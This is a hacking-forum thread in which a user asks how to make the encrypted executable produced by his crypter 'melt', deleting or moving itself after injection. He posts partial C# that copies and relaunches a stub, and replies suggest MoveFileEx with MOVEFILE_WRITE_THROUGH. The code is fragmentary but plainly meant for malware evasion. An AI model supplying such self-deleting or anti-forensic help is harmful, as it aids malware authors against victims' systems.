[Barthezz]

Can someone help me with some code to melt a .exe at runtime?
So my cryter, makes an encrypted exe and at runtime it should delete itself after injection itself.
This is what i have right now, but it doesnt seem to work.

Code

    private static string stubLocation = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
private static string meltLocation = Assembly.GetEntryAssembly().Location;

public void MeltFile()
    {
        try
        {
            if(stubLocation.Contains(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)))
            {
                return;
            }
            string meltedFile = string.Format("{0}\\{1}.exe", meltLocation, "");
            while(File.Exists(meltedFile))
            {
                meltedFile = string.Format("{0}\\{1}.exe", meltLocation, "");
            }
            File.Copy(stubLocation, meltedFile);
            Process meltedStub = new Process();
            meltedStub.StartInfo.FileName = meltedFile;
            meltedStub.StartInfo.Arguments = stubLocation;
            meltedStub.Start();
            Environment.Exit(0);
        }
        catch
        {
            MessageBox.Show("ERROR");
        }
    }

[Multibyte]

https://evilzone.org/vb-vb-net-c-c-net/(...melt-file/

[BahNahNah]

https://msdn.microsoft.com/en-us/library...s.85).aspx

Pass the MOVEFILE_WRITE_THROUGH flag and you can move itself.

[Barthezz]

https://evilzone.org/vb-vb-net-c-c-net/(...melt-file/

Tryed that one once, didnt work.

---

https://msdn.microsoft.com/en-us/library...s.85).aspx

Pass the MOVEFILE_WRITE_THROUGH flag and you can move itself.

I will have a look, but that is only after a reboot right?

[Marwix]

I will have a look, but that is only after a reboot right?

Actually it should do it instantly once running.

You could declare it as:

Code

private static extern bool MoveFileEx(string lpExistingFileName, string lpNewFileName, int dwFlags);

And use the following declaration to move a file from one place to another:

Code

MoveFileEx("old_file_location", "new_file_location", 8); // MOVEFILE_WRITE_THROUGH

[Barthezz]

Thanks guys i got it working now :)